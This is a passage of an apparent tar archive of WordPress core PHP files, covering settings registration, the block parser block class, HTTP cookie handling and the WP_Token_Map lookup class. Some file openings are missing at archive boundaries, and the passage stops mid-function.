"expiration_of_site_transient_{$transient}", $expiration, $value, $transient ); if ( wp_using_ext_object_cache() || wp_installing() ) { $result = wp_cache_set( $transient, $value, 'site-transient', $expiration ); } else { $transient_timeout = '_site_transient_timeout_' . $transient; $option = '_site_transient_' . $transient; if ( false === get_site_option( $option ) ) { if ( $expiration ) { add_site_option( $transient_timeout, time() + $expiration ); } $result = add_site_option( $option, $value ); } else { if ( $expiration ) { update_site_option( $transient_timeout, time() + $expiration ); } $result = update_site_option( $option, $value ); } } if ( $result ) { /** * Fires after the value for a specific site transient has been set. * * The dynamic portion of the hook name, `$transient`, refers to the transient name. * * @since 3.0.0 * @since 4.4.0 The `$transient` parameter was added * * @param mixed $value Site transient value. * @param int $expiration Time until expiration in seconds. * @param string $transient Transient name. */ do_action( "set_site_transient_{$transient}", $value, $expiration, $transient ); /** * Fires after the value for a site transient has been set. * * @since 3.0.0 * * @param string $transient The name of the site transient. * @param mixed $value Site transient value. * @param int $expiration Time until expiration in seconds. */ do_action( 'setted_site_transient', $transient, $value, $expiration ); } return $result; } /** * Registers default settings available in WordPress. * * The settings registered here are primarily useful for the REST API, so this * does not encompass all settings available in WordPress. * * @since 4.7.0 * @since 6.0.1 The `show_on_front`, `page_on_front`, and `page_for_posts` options were added. */ function register_initial_settings() { register_setting( 'general', 'blogname', array( 'show_in_rest' => array( 'name' => 'title', ), 'type' => 'string', 'description' => __( 'Site title.' ), ) ); register_setting( 'general', 'blogdescription', array( 'show_in_rest' => array( 'name' => 'description', ), 'type' => 'string', 'description' => __( 'Site tagline.' ), ) ); if ( ! is_multisite() ) { register_setting( 'general', 'siteurl', array( 'show_in_rest' => array( 'name' => 'url', 'schema' => array( 'format' => 'uri', ), ), 'type' => 'string', 'description' => __( 'Site URL.' ), ) ); } if ( ! is_multisite() ) { register_setting( 'general', 'admin_email', array( 'show_in_rest' => array( 'name' => 'email', 'schema' => array( 'format' => 'email', ), ), 'type' => 'string', 'description' => __( 'This address is used for admin purposes, like new user notification.' ), ) ); } register_setting( 'general', 'timezone_string', array( 'show_in_rest' => array( 'name' => 'timezone', ), 'type' => 'string', 'description' => __( 'A city in the same timezone as you.' ), ) ); register_setting( 'general', 'date_format', array( 'show_in_rest' => true, 'type' => 'string', 'description' => __( 'A date format for all date strings.' ), ) ); register_setting( 'general', 'time_format', array( 'show_in_rest' => true, 'type' => 'string', 'description' => __( 'A time format for all time strings.' ), ) ); register_setting( 'general', 'start_of_week', array( 'show_in_rest' => true, 'type' => 'integer', 'description' => __( 'A day number of the week that the week should start on.' ), ) ); register_setting( 'general', 'WPLANG', array( 'show_in_rest' => array( 'name' => 'language', ), 'type' => 'string', 'description' => __( 'WordPress locale code.' ), 'default' => 'en_US', ) ); register_setting( 'writing', 'use_smilies', array( 'show_in_rest' => true, 'type' => 'boolean', 'description' => __( 'Convert emoticons like :-) and :-P to graphics on display.' ), 'default' => true, ) ); register_setting( 'writing', 'default_category', array( 'show_in_rest' => true, 'type' => 'integer', 'description' => __( 'Default post category.' ), ) ); register_setting( 'writing', 'default_post_format', array( 'show_in_rest' => true, 'type' => 'string', 'description' => __( 'Default post format.' ), ) ); register_setting( 'reading', 'posts_per_page', array( 'show_in_rest' => true, 'type' => 'integer', 'description' => __( 'Blog pages show at most.' ), 'default' => 10, ) ); register_setting( 'reading', 'show_on_front', array( 'show_in_rest' => true, 'type' => 'string', 'description' => __( 'What to show on the front page' ), ) ); register_setting( 'reading', 'page_on_front', array( 'show_in_rest' => true, 'type' => 'integer', 'description' => __( 'The ID of the page that should be displayed on the front page' ), ) ); register_setting( 'reading', 'page_for_posts', array( 'show_in_rest' => true, 'type' => 'integer', 'description' => __( 'The ID of the page that should display the latest posts' ), ) ); register_setting( 'discussion', 'default_ping_status', array( 'show_in_rest' => array( 'schema' => array( 'enum' => array( 'open', 'closed' ), ), ), 'type' => 'string', 'description' => __( 'Allow link notifications from other blogs (pingbacks and trackbacks) on new articles.' ), ) ); register_setting( 'discussion', 'default_comment_status', array( 'show_in_rest' => array( 'schema' => array( 'enum' => array( 'open', 'closed' ), ), ), 'type' => 'string', 'description' => __( 'Allow people to submit comments on new posts.' ), ) ); } /** * Registers a setting and its data. * * @since 2.7.0 * @since 3.0.0 The `misc` option group was deprecated. * @since 3.5.0 The `privacy` option group was deprecated. * @since 4.7.0 `$args` can be passed to set flags on the setting, similar to `register_meta()`. * @since 5.5.0 `$new_whitelist_options` was renamed to `$new_allowed_options`. * Please consider writing more inclusive code. * * @global array $new_allowed_options * @global array $wp_registered_settings * * @param string $option_group A settings group name. Should correspond to an allowed option key name. * Default allowed option key names include 'general', 'discussion', 'media', * 'reading', 'writing', and 'options'. * @param string $option_name The name of an option to sanitize and save. * @param array $args { * Data used to describe the setting when registered. * * @type string $type The type of data associated with this setting. * Valid values are 'string', 'boolean', 'integer', 'number', 'array', and 'object'. * @type string $description A description of the data attached to this setting. * @type callable $sanitize_callback A callback function that sanitizes the option's value. * @type bool|array $show_in_rest Whether data associated with this setting should be included in the REST API. * When registering complex settings, this argument may optionally be an * array with a 'schema' key. * @type mixed $default Default value when calling `get_option()`. * } */ function register_setting( $option_group, $option_name, $args = array() ) { global $new_allowed_options, $wp_registered_settings; /* * In 5.5.0, the `$new_whitelist_options` global variable was renamed to `$new_allowed_options`. * Please consider writing more inclusive code. */ $GLOBALS['new_whitelist_options'] = &$new_allowed_options; $defaults = array( 'type' => 'string', 'group' => $option_group, 'description' => '', 'sanitize_callback' => null, 'show_in_rest' => false, ); // Back-compat: old sanitize callback is added. if ( is_callable( $args ) ) { $args = array( 'sanitize_callback' => $args, ); } /** * Filters the registration arguments when registering a setting. * * @since 4.7.0 * * @param array $args Array of setting registration arguments. * @param array $defaults Array of default arguments. * @param string $option_group Setting group. * @param string $option_name Setting name. */ $args = apply_filters( 'register_setting_args', $args, $defaults, $option_group, $option_name ); $args = wp_parse_args( $args, $defaults ); // Require an item schema when registering settings with an array type. if ( false !== $args['show_in_rest'] && 'array' === $args['type'] && ( ! is_array( $args['show_in_rest'] ) || ! isset( $args['show_in_rest']['schema']['items'] ) ) ) { _doing_it_wrong( __FUNCTION__, __( 'When registering an "array" setting to show in the REST API, you must specify the schema for each array item in "show_in_rest.schema.items".' ), '5.4.0' ); } if ( ! is_array( $wp_registered_settings ) ) { $wp_registered_settings = array(); } if ( 'misc' === $option_group ) { _deprecated_argument( __FUNCTION__, '3.0.0', sprintf( /* translators: %s: misc */ __( 'The "%s" options group has been removed. Use another settings group.' ), 'misc' ) ); $option_group = 'general'; } if ( 'privacy' === $option_group ) { _deprecated_argument( __FUNCTION__, '3.5.0', sprintf( /* translators: %s: privacy */ __( 'The "%s" options group has been removed. Use another settings group.' ), 'privacy' ) ); $option_group = 'reading'; } $new_allowed_options[ $option_group ][] = $option_name; if ( ! empty( $args['sanitize_callback'] ) ) { add_filter( "sanitize_option_{$option_name}", $args['sanitize_callback'] ); } if ( array_key_exists( 'default', $args ) ) { add_filter( "default_option_{$option_name}", 'filter_default_option', 10, 3 ); } /** * Fires immediately before the setting is registered but after its filters are in place. * * @since 5.5.0 * * @param string $option_group Setting group. * @param string $option_name Setting name. * @param array $args Array of setting registration arguments. */ do_action( 'register_setting', $option_group, $option_name, $args ); $wp_registered_settings[ $option_name ] = $args; } /** * Unregisters a setting. * * @since 2.7.0 * @since 4.7.0 `$sanitize_callback` was deprecated. The callback from `register_setting()` is now used instead. * @since 5.5.0 `$new_whitelist_options` was renamed to `$new_allowed_options`. * Please consider writing more inclusive code. * * @global array $new_allowed_options * @global array $wp_registered_settings * * @param string $option_group The settings group name used during registration. * @param string $option_name The name of the option to unregister. * @param callable $deprecated Optional. Deprecated. */ function unregister_setting( $option_group, $option_name, $deprecated = '' ) { global $new_allowed_options, $wp_registered_settings; /* * In 5.5.0, the `$new_whitelist_options` global variable was renamed to `$new_allowed_options`. * Please consider writing more inclusive code. */ $GLOBALS['new_whitelist_options'] = &$new_allowed_options; if ( 'misc' === $option_group ) { _deprecated_argument( __FUNCTION__, '3.0.0', sprintf( /* translators: %s: misc */ __( 'The "%s" options group has been removed. Use another settings group.' ), 'misc' ) ); $option_group = 'general'; } if ( 'privacy' === $option_group ) { _deprecated_argument( __FUNCTION__, '3.5.0', sprintf( /* translators: %s: privacy */ __( 'The "%s" options group has been removed. Use another settings group.' ), 'privacy' ) ); $option_group = 'reading'; } $pos = array_search( $option_name, (array) $new_allowed_options[ $option_group ], true ); if ( false !== $pos ) { unset( $new_allowed_options[ $option_group ][ $pos ] ); } if ( '' !== $deprecated ) { _deprecated_argument( __FUNCTION__, '4.7.0', sprintf( /* translators: 1: $sanitize_callback, 2: register_setting() */ __( '%1$s is deprecated. The callback from %2$s is used instead.' ), '$sanitize_callback', 'register_setting()' ) ); remove_filter( "sanitize_option_{$option_name}", $deprecated ); } if ( isset( $wp_registered_settings[ $option_name ] ) ) { // Remove the sanitize callback if one was set during registration. if ( ! empty( $wp_registered_settings[ $option_name ]['sanitize_callback'] ) ) { remove_filter( "sanitize_option_{$option_name}", $wp_registered_settings[ $option_name ]['sanitize_callback'] ); } // Remove the default filter if a default was provided during registration. if ( array_key_exists( 'default', $wp_registered_settings[ $option_name ] ) ) { remove_filter( "default_option_{$option_name}", 'filter_default_option', 10 ); } /** * Fires immediately before the setting is unregistered and after its filters have been removed. * * @since 5.5.0 * * @param string $option_group Setting group. * @param string $option_name Setting name. */ do_action( 'unregister_setting', $option_group, $option_name ); unset( $wp_registered_settings[ $option_name ] ); } } /** * Retrieves an array of registered settings. * * @since 4.7.0 * * @global array $wp_registered_settings * * @return array List of registered settings, keyed by option name. */ function get_registered_settings() { global $wp_registered_settings; if ( ! is_array( $wp_registered_settings ) ) { return array(); } return $wp_registered_settings; } /** * Filters the default value for the option. * * For settings which register a default setting in `register_setting()`, this * function is added as a filter to `default_option_{$option}`. * * @since 4.7.0 * * @param mixed $default Existing default value to return. * @param string $option Option name. * @param bool $passed_default Was `get_option()` passed a default value? * @return mixed Filtered default value. */ function filter_default_option( $default, $option, $passed_default ) { if ( $passed_default ) { return $default; } $registered = get_registered_settings(); if ( empty( $registered[ $option ] ) ) { return $default; } return $registered[ $option ]['default']; } class-wp-block-parser-block.php000064400000004773147177035010012500 0ustar00 3 ) * * @since 5.0.0 * @var array|null */ public $attrs; /** * List of inner blocks (of this same class) * * @since 5.0.0 * @var WP_Block_Parser_Block[] */ public $innerBlocks; // phpcs:ignore WordPress.NamingConventions.ValidVariableName /** * Resultant HTML from inside block comment delimiters * after removing inner blocks * * @example "...Just testing..." -> "Just testing..." * * @since 5.0.0 * @var string */ public $innerHTML; // phpcs:ignore WordPress.NamingConventions.ValidVariableName /** * List of string fragments and null markers where inner blocks were found * * @example array( * 'innerHTML' => 'BeforeInnerAfter', * 'innerBlocks' => array( block, block ), * 'innerContent' => array( 'Before', null, 'Inner', null, 'After' ), * ) * * @since 4.2.0 * @var array */ public $innerContent; // phpcs:ignore WordPress.NamingConventions.ValidVariableName /** * Constructor. * * Will populate object properties from the provided arguments. * * @since 5.0.0 * * @param string $name Name of block. * @param array $attrs Optional set of attributes from block comment delimiters. * @param array $inner_blocks List of inner blocks (of this same class). * @param string $inner_html Resultant HTML from inside block comment delimiters after removing inner blocks. * @param array $inner_content List of string fragments and null markers where inner blocks were found. */ public function __construct( $name, $attrs, $inner_blocks, $inner_html, $inner_content ) { $this->blockName = $name; // phpcs:ignore WordPress.NamingConventions.ValidVariableName $this->attrs = $attrs; $this->innerBlocks = $inner_blocks; // phpcs:ignore WordPress.NamingConventions.ValidVariableName $this->innerHTML = $inner_html; // phpcs:ignore WordPress.NamingConventions.ValidVariableName $this->innerContent = $inner_content; // phpcs:ignore WordPress.NamingConventions.ValidVariableName } } class-wp-http-cookie.php000064400000016332147177035010011244 0ustar00domain = $parsed_url['host']; } $this->path = isset( $parsed_url['path'] ) ? $parsed_url['path'] : '/'; if ( '/' !== substr( $this->path, -1 ) ) { $this->path = dirname( $this->path ) . '/'; } if ( is_string( $data ) ) { // Assume it's a header string direct from a previous request. $pairs = explode( ';', $data ); // Special handling for first pair; name=value. Also be careful of "=" in value. $name = trim( substr( $pairs[0], 0, strpos( $pairs[0], '=' ) ) ); $value = substr( $pairs[0], strpos( $pairs[0], '=' ) + 1 ); $this->name = $name; $this->value = urldecode( $value ); // Removes name=value from items. array_shift( $pairs ); // Set everything else as a property. foreach ( $pairs as $pair ) { $pair = rtrim( $pair ); // Handle the cookie ending in ; which results in a empty final pair. if ( empty( $pair ) ) { continue; } list( $key, $val ) = strpos( $pair, '=' ) ? explode( '=', $pair ) : array( $pair, '' ); $key = strtolower( trim( $key ) ); if ( 'expires' === $key ) { $val = strtotime( $val ); } $this->$key = $val; } } else { if ( ! isset( $data['name'] ) ) { return; } // Set properties based directly on parameters. foreach ( array( 'name', 'value', 'path', 'domain', 'port', 'host_only' ) as $field ) { if ( isset( $data[ $field ] ) ) { $this->$field = $data[ $field ]; } } if ( isset( $data['expires'] ) ) { $this->expires = is_int( $data['expires'] ) ? $data['expires'] : strtotime( $data['expires'] ); } else { $this->expires = null; } } } /** * Confirms that it's OK to send this cookie to the URL checked against. * * Decision is based on RFC 2109/2965, so look there for details on validity. * * @since 2.8.0 * * @param string $url URL you intend to send this cookie to * @return bool true if allowed, false otherwise. */ public function test( $url ) { if ( is_null( $this->name ) ) { return false; } // Expires - if expired then nothing else matters. if ( isset( $this->expires ) && time() > $this->expires ) { return false; } // Get details on the URL we're thinking about sending to. $url = parse_url( $url ); $url['port'] = isset( $url['port'] ) ? $url['port'] : ( 'https' === $url['scheme'] ? 443 : 80 ); $url['path'] = isset( $url['path'] ) ? $url['path'] : '/'; // Values to use for comparison against the URL. $path = isset( $this->path ) ? $this->path : '/'; $port = isset( $this->port ) ? $this->port : null; $domain = isset( $this->domain ) ? strtolower( $this->domain ) : strtolower( $url['host'] ); if ( false === stripos( $domain, '.' ) ) { $domain .= '.local'; } // Host - very basic check that the request URL ends with the domain restriction (minus leading dot). $domain = ( '.' === substr( $domain, 0, 1 ) ) ? substr( $domain, 1 ) : $domain; if ( substr( $url['host'], -strlen( $domain ) ) !== $domain ) { return false; } // Port - supports "port-lists" in the format: "80,8000,8080". if ( ! empty( $port ) && ! in_array( $url['port'], array_map( 'intval', explode( ',', $port ) ), true ) ) { return false; } // Path - request path must start with path restriction. if ( substr( $url['path'], 0, strlen( $path ) ) !== $path ) { return false; } return true; } /** * Convert cookie name and value back to header string. * * @since 2.8.0 * * @return string Header encoded cookie name and value. */ public function getHeaderValue() { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.MethodNameInvalid if ( ! isset( $this->name ) || ! isset( $this->value ) ) { return ''; } /** * Filters the header-encoded cookie value. * * @since 3.4.0 * * @param string $value The cookie value. * @param string $name The cookie name. */ return $this->name . '=' . apply_filters( 'wp_http_cookie_value', $this->value, $this->name ); } /** * Retrieve cookie header for usage in the rest of the WordPress HTTP API. * * @since 2.8.0 * * @return string */ public function getFullHeader() { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.MethodNameInvalid return 'Cookie: ' . $this->getHeaderValue(); } /** * Retrieves cookie attributes. * * @since 4.6.0 * * @return array { * List of attributes. * * @type string|int|null $expires When the cookie expires. Unix timestamp or formatted date. * @type string $path Cookie URL path. * @type string $domain Cookie domain. * } */ public function get_attributes() { return array( 'expires' => $this->expires, 'path' => $this->path, 'domain' => $this->domain, ); } } class-wp-token-map.php000064400000067712147177035010010721 0ustar00 '😯', * ':(' => '🙁', * ':)' => '🙂', * ':?' => '😕', * ) ); * * true === $smilies->contains( ':)' ); * false === $smilies->contains( 'simile' ); * * '😕' === $smilies->read_token( 'Not sure :?.', 9, $length_of_smily_syntax ); * 2 === $length_of_smily_syntax; * * ## Precomputing the Token Map. * * Creating the class involves some work sorting and organizing the tokens and their * replacement values. In order to skip this, it's possible for the class to export * its state and be used as actual PHP source code. * * Example: * * // Export with four spaces as the indent, only for the sake of this docblock. * // The default indent is a tab character. * $indent = ' '; * echo $smilies->precomputed_php_source_table( $indent ); * * // Output, to be pasted into a PHP source file: * WP_Token_Map::from_precomputed_table( * array( * "storage_version" => "6.6.0", * "key_length" => 2, * "groups" => "", * "long_words" => array(), * "small_words" => "8O\x00:)\x00:(\x00:?\x00", * "small_mappings" => array( "😯", "🙂", "🙁", "😕" ) * ) * ); * * ## Large vs. small words. * * This class uses a short prefix called the "key" to optimize lookup of its tokens. * This means that some tokens may be shorter than or equal in length to that key. * Those words that are longer than the key are called "large" while those shorter * than or equal to the key length are called "small." * * This separation of large and small words is incidental to the way this class * optimizes lookup, and should be considered an internal implementation detail * of the class. It may still be important to be aware of it, however. * * ## Determining Key Length. * * The choice of the size of the key length should be based on the data being stored in * the token map. It should divide the data as evenly as possible, but should not create * so many groups that a large fraction of the groups only contain a single token. * * For the HTML5 named character references, a key length of 2 was found to provide a * sufficient spread and should be a good default for relatively large sets of tokens. * * However, for some data sets this might be too long. For example, a list of smilies * may be too small for a key length of 2. Perhaps 1 would be more appropriate. It's * best to experiment and determine empirically which values are appropriate. * * ## Generate Pre-Computed Source Code. * * Since the `WP_Token_Map` is designed for relatively static lookups, it can be * advantageous to precompute the values and instantiate a table that has already * sorted and grouped the tokens and built the lookup strings. * * This can be done with `WP_Token_Map::precomputed_php_source_table()`. * * Note that if there is a leading character that all tokens need, such as `&` for * HTML named character references, it can be beneficial to exclude this from the * token map. Instead, find occurrences of the leading character and then use the * token map to see if the following characters complete the token. * * Example: * * $map = WP_Token_Map::from_array( array( 'simple_smile:' => '🙂', 'sob:' => '😭', 'soba:' => '🍜' ) ); * echo $map->precomputed_php_source_table(); * // Output * WP_Token_Map::from_precomputed_table( * array( * "storage_version" => "6.6.0", * "key_length" => 2, * "groups" => "si\x00so\x00", * "long_words" => array( * // simple_smile:[🙂]. * "\x0bmple_smile:\x04🙂", * // soba:[🍜] sob:[😭]. * "\x03ba:\x04🍜\x02b:\x04😭", * ), * "short_words" => "", * "short_mappings" => array() * } * ); * * This precomputed value can be stored directly in source code and will skip the * startup cost of generating the lookup strings. See `$html5_named_character_entities`. * * Note that any updates to the precomputed format should update the storage version * constant. It would also be best to provide an update function to take older known * versions and upgrade them in place when loading into `from_precomputed_table()`. * * ## Future Direction. * * It may be viable to dynamically increase the length limits such that there's no need to impose them. * The limit appears because of the packing structure, which indicates how many bytes each segment of * text in the lookup tables spans. If, however, care were taken to track the longest word length, then * the packing structure could change its representation to allow for that. Each additional byte storing * length, however, increases the memory overhead and lookup runtime. * * An alternative approach could be to borrow the UTF-8 variable-length encoding and store lengths of less * than 127 as a single byte with the high bit unset, storing longer lengths as the combination of * continuation bytes. * * Since it has not been shown during the development of this class that longer strings are required, this * update is deferred until such a need is clear. * * @since 6.6.0 */ class WP_Token_Map { /** * Denotes the version of the code which produces pre-computed source tables. * * This version will be used not only to verify pre-computed data, but also * to upgrade pre-computed data from older versions. Choosing a name that * corresponds to the WordPress release will help people identify where an * old copy of data came from. */ const STORAGE_VERSION = '6.6.0-trunk'; /** * Maximum length for each key and each transformed value in the table (in bytes). * * @since 6.6.0 */ const MAX_LENGTH = 256; /** * How many bytes of each key are used to form a group key for lookup. * This also determines whether a word is considered short or long. * * @since 6.6.0 * * @var int */ private $key_length = 2; /** * Stores an optimized form of the word set, where words are grouped * by a prefix of the `$key_length` and then collapsed into a string. * * In each group, the keys and lookups form a packed data structure. * The keys in the string are stripped of their "group key," which is * the prefix of length `$this->key_length` shared by all of the items * in the group. Each word in the string is prefixed by a single byte * whose raw unsigned integer value represents how many bytes follow. * * ┌────────────────┬───────────────┬─────────────────┬────────┐ * │ Length of rest │ Rest of key │ Length of value │ Value │ * │ of key (bytes) │ │ (bytes) │ │ * ├────────────────┼───────────────┼─────────────────┼────────┤ * │ 0x08 │ nterDot; │ 0x02 │ · │ * └────────────────┴───────────────┴─────────────────┴────────┘ * * In this example, the key `CenterDot;` has a group key `Ce`, leaving * eight bytes for the rest of the key, `nterDot;`, and two bytes for * the transformed value `·` (or U+B7 or "\xC2\xB7"). * * Example: * * // Stores array( 'CenterDot;' => '·', 'Cedilla;' => '¸' ). * $groups = "Ce\x00"; * $large_words = array( "\x08nterDot;\x02·\x06dilla;\x02¸" ) * * The prefixes appear in the `$groups` string, each followed by a null * byte. This makes for quick lookup of where in the group string the key * is found, and then a simple division converts that offset into the index * in the `$large_words` array where the group string is to be found. * * This lookup data structure is designed to optimize cache locality and * minimize indirect memory reads when matching strings in the set. * * @since 6.6.0 * * @var array */ private $large_words = array(); /** * Stores the group keys for sequential string lookup. * * The offset into this string where the group key appears corresponds with the index * into the group array where the rest of the group string appears. This is an optimization * to improve cache locality while searching and minimize indirect memory accesses. * * @since 6.6.0 * * @var string */ private $groups = ''; /** * Stores an optimized row of small words, where every entry is * `$this->key_size + 1` bytes long and zero-extended. * * This packing allows for direct lookup of a short word followed * by the null byte, if extended to `$this->key_size + 1`. * * Example: * * // Stores array( 'GT', 'LT', 'gt', 'lt' ). * "GT\x00LT\x00gt\x00lt\x00" * * @since 6.6.0 * * @var string */ private $small_words = ''; /** * Replacements for the small words, in the same order they appear. * * With the position of a small word it's possible to index the translation * directly, as its position in the `$small_words` string corresponds to * the index of the replacement in the `$small_mapping` array. * * Example: * * array( '>', '<', '>', '<' ) * * @since 6.6.0 * * @var string[] */ private $small_mappings = array(); /** * Create a token map using an associative array of key/value pairs as the input. * * Example: * * $smilies = WP_Token_Map::from_array( array( * '8O' => '😯', * ':(' => '🙁', * ':)' => '🙂', * ':?' => '😕', * ) ); * * @since 6.6.0 * * @param array $mappings The keys transform into the values, both are strings. * @param int $key_length Determines the group key length. Leave at the default value * of 2 unless there's an empirical reason to change it. * * @return WP_Token_Map|null Token map, unless unable to create it. */ public static function from_array( array $mappings, int $key_length = 2 ): ?WP_Token_Map { $map = new WP_Token_Map(); $map->key_length = $key_length; // Start by grouping words. $groups = array(); $shorts = array(); foreach ( $mappings as $word => $mapping ) { if ( self::MAX_LENGTH <= strlen( $word ) || self::MAX_LENGTH <= strlen( $mapping ) ) { _doing_it_wrong( __METHOD__, sprintf( /* translators: 1: maximum byte length (a count) */ __( 'Token Map tokens and substitutions must all be shorter than %1$d bytes.' ), self::MAX_LENGTH ), '6.6.0' ); return null; } $length = strlen( $word ); if ( $key_length >= $length ) { $shorts[] = $word; } else { $group = substr( $word, 0, $key_length ); if ( ! isset( $groups[ $group ] ) ) { $groups[ $group ] = array(); } $groups[ $group ][] = array( substr( $word, $key_length ), $mapping ); } } /* * Sort the words to ensure that no smaller substring of a match masks the full match. * For example, `Cap` should not match before `CapitalDifferentialD`. */ usort( $shorts, 'WP_Token_Map::longest_first_then_alphabetical' ); foreach ( $groups as $group_key => $group ) { usort( $groups[ $group_key ], static function ( array $a, array $b ): int { return self::longest_first_then_alphabetical( $a[0], $b[0] ); } ); } // Finally construct the optimized lookups. foreach ( $shorts as $word ) { $map->small_words .= str_pad( $word, $key_length + 1, "\x00", STR_PAD_RIGHT ); $map->small_mappings[] = $mappings[ $word ]; } $group_keys = array_keys( $groups ); sort( $group_keys ); foreach ( $group_keys as $group ) { $map->groups .= "{$group}\x00"; $group_string = ''; foreach ( $groups[ $group ] as $group_word ) { list( $word, $mapping ) = $group_word; $word_length = pack( 'C', strlen( $word ) ); $mapping_length = pack( 'C', strlen( $mapping ) ); $group_string .= "{$word_length}{$word}{$mapping_length}{$mapping}"; } $map->large_words[] = $group_string; } return $map; } /** * Creates a token map from a pre-computed table. * This skips the initialization cost of generating the table. * * This function should only be used to load data created with * WP_Token_Map::precomputed_php_source_tag(). * * @since 6.6.0 * * @param array $state { * Stores pre-computed state for directly loading into a Token Map. * * @type string $storage_version Which version of the code produced this state. * @type int $key_length Group key length. * @type string $groups Group lookup index. * @type array $large_words Large word groups and packed strings. * @type string $small_words Small words packed string. * @type array $small_mappings Small word mappings. * } * * @return WP_Token_Map Map with precomputed data loaded. */ public static function from_precomputed_table( $state ): ?WP_Token_Map { $has_necessary_state = isset( $state['storage_version'], $state['key_length'], $state['groups'], $state['large_words'], $state['small_words'], $state['small_mappings'] ); if ( ! $has_necessary_state ) { _doing_it_wrong( __METHOD__, __( 'Missing required inputs to pre-computed WP_Token_Map.' ), '6.6.0' ); return null; } if ( self::STORAGE_VERSION !== $state['storage_version'] ) { _doing_it_wrong( __METHOD__, /* translators: 1: version string, 2: version string. */ sprintf( __( 'Loaded version \'%1$s\' incompatible with expected version \'%2$s\'.' ), $state['storage_version'], self::STORAGE_VERSION ), '6.6.0' ); return null; } $map = new WP_Token_Map(); $map->key_length = $state['key_length']; $map->groups = $state['groups']; $map->large_words = $state['large_words']; $map->small_words = $state['small_words']; $map->small_mappings = $state['small_mappings']; return $map; } /** * Indicates if a given word is a lookup key in the map. * * Example: * * true === $smilies->contains( ':)' ); * false === $smilies->contains( 'simile' ); * * @since 6.6.0 * * @param string $word Determine if this word is a lookup key in the map. * @param string $case_sensitivity Optional. Pass 'ascii-case-insensitive' to ignore ASCII case when matching. Default 'case-sensitive'. * @return bool Whether there's an entry for the given word in the map. */ public function contains( string $word, string $case_sensitivity = 'case-sensitive' ): bool { $ignore_case = 'ascii-case-insensitive' === $case_sensitivity; if ( $this->key_length >= strlen( $word ) ) { if ( 0 === strlen( $this->small_words ) ) { return false; } $term = str_pad( $word, $this->key_length + 1, "\x00", STR_PAD_RIGHT ); $word_at = $ignore_case ? stripos( $this->small_words, $term ) : strpos( $this->small_words, $term ); if ( false === $word_at ) { return false; } return true; } $group_key = substr( $word, 0, $this->key_length ); $group_at = $ignore_case ? stripos( $this->groups, $group_key ) : strpos( $this->groups, $group_key ); if ( false === $group_at ) { return false; } $group = $this->large_words[ $group_at / ( $this->key_length + 1 ) ]; $group_length = strlen( $group ); $slug = substr( $word, $this->key_length ); $length = strlen( $slug ); $at = 0; while ( $at < $group_length ) { $token_length = unpack( 'C', $group[ $at++ ] )[1]; $token_at = $at; $at += $token_length; $mapping_length = unpack( 'C', $group[ $at++ ] )[1]; $mapping_at = $at; if ( $token_length === $length && 0 === substr_compare( $group, $slug, $token_at, $token_length, $ignore_case ) ) { return true; } $at = $mapping_at + $mapping_length; } return false; } /** * If the text starting at a given offset is a lookup key in the map, * return the corresponding transformation from the map, else `false`. * * This function returns the translated string, but accepts an optional * parameter `$matched_token_byte_length`, which communicates how many * bytes long the lookup key was, if it found one. This can be used to * advance a cursor in calling code if a lookup key was found. * * Example: * * false === $smilies->read_token( 'Not sure :?.', 0, $token_byte_length ); * '😕' === $smilies->read_token( 'Not sure :?.', 9, $token_byte_length ); * 2 === $token_byte_length; * * Example: * * while ( $at < strlen( $input ) ) { * $next_at = strpos( $input, ':', $at ); * if ( false === $next_at ) { * break; * } * * $smily = $smilies->read_token( $input, $next_at, $token_byte_length ); * if ( false === $next_at ) { * ++$at; * continue; * } * * $prefix = substr( $input, $at, $next_at - $at ); * $at += $token_byte_length; * $output .= "{$prefix}{$smily}"; * } * * @since 6.6.0 * * @param string $text String in which to search for a lookup key. * @param int $offset Optional. How many bytes into the string where the lookup key ought to start. Default 0. * @param int|null &$matched_token_byte_length Optional. Holds byte-length of found token matched, otherwise not set. Default null. * @param string $case_sensitivity Optional. Pass 'ascii-case-insensitive' to ignore ASCII case when matching. Default 'case-sensitive'. * * @return string|null Mapped value of lookup key if found, otherwise `null`. */ public function read_token( string $text, int $offset = 0, &$matched_token_byte_length = null, $case_sensitivity = 'case-sensitive' ): ?string { $ignore_case = 'ascii-case-insensitive' === $case_sensitivity; $text_length = strlen( $text ); // Search for a long word first, if the text is long enough, and if that fails, a short one. if ( $text_length > $this->key_length ) { $group_key = substr( $text, $offset, $this->key_length ); $group_at = $ignore_case ? stripos( $this->groups, $group_key ) : strpos( $this->groups, $group_key ); if ( false === $group_at ) { // Perhaps a short word then. return strlen( $this->small_words ) > 0 ? $this->read_small_token( $text, $offset, $matched_token_byte_length, $case_sensitivity ) : null; } $group = $this->large_words[ $group_at / ( $this->key_length + 1 ) ]; $group_length = strlen( $group ); $at = 0; while ( $at < $group_length ) { $token_length = unpack( 'C', $group[ $at++ ] )[1]; $token = substr( $group, $at, $token_length ); $at += $token_length; $mapping_length = unpack( 'C', $group[ $at++ ] )[1]; $mapping_at = $at; if ( 0 === substr_compare( $text, $token, $offset + $this->key_length, $token_length, $ignore_case ) ) { $matched_token_byte_length = $this->key_length + $token_length; return substr( $group, $mapping_at, $mapping_length ); } $at = $mapping_at + $mapping_length; } } // Perhaps a short word then. return strlen( $this->small_words ) > 0 ? $this->read_small_token( $text, $offset, $matched_token_byte_length, $case_sensitivity ) : null; } /** * Finds a match for a short word at the index. * * @since 6.6.0 * * @param string $text String in which to search for a lookup key. * @param int $offset Optional. How many bytes into the string where the lookup key ought to start. Default 0. * @param int|null &$matched_token_byte_length Optional. Holds byte-length of found lookup key if matched, otherwise not set. Default null. * @param string $case_sensitivity Optional. Pass 'ascii-case-insensitive' to ignore ASCII case when matching. Default 'case-sensitive'. * * @return string|null Mapped value of lookup key if found, otherwise `null`. */ private function read_small_token( string $text, int $offset = 0, &$matched_token_byte_length = null, $case_sensitivity = 'case-sensitive' ): ?string { $ignore_case = 'ascii-case-insensitive' === $case_sensitivity; $small_length = strlen( $this->small_words ); $search_text = substr( $text, $offset, $this->key_length ); if ( $ignore_case ) { $search_text = strtoupper( $search_text ); } $starting_char = $search_text[0]; $at = 0; while ( $at < $small_length ) { if ( $starting_char !== $this->small_words[ $at ] && ( ! $ignore_case || strtoupper( $this->small_words[ $at ] ) !== $starting_char ) ) { $at += $this->key_length + 1; continue; } for ( $adjust = 1; $adjust < $this->key_length; $adjust++ ) { if ( "\x00" === $this->small_words[ $at + $adjust ] ) { $matched_token_byte_length = $adjust; return 